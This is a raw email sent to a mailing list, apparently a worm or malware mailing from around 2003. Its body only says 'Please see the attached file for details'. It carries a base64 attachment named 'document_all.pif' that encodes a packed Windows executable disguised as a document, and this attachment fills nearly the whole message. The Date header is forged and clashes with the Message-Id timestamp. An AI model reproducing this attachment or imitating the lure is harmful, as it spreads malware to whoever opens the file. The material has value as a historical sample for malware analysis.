Message-Id: <QQphnj11886.200309241152@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Details
Date: Fri, 1 Jan 1999 7:31:07 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_019C8F89"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_019C8F89
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Please see the attached file for details.
--_NextPart_000_019C8F89
Content-Type: application/octet-stream;
	name="document_all.pif"
Content-Disposition: attachment;
	filename="document_all.pif"
Content-Transfer-Encoding: base64

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em
nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA
TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu
c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS
AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA
AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
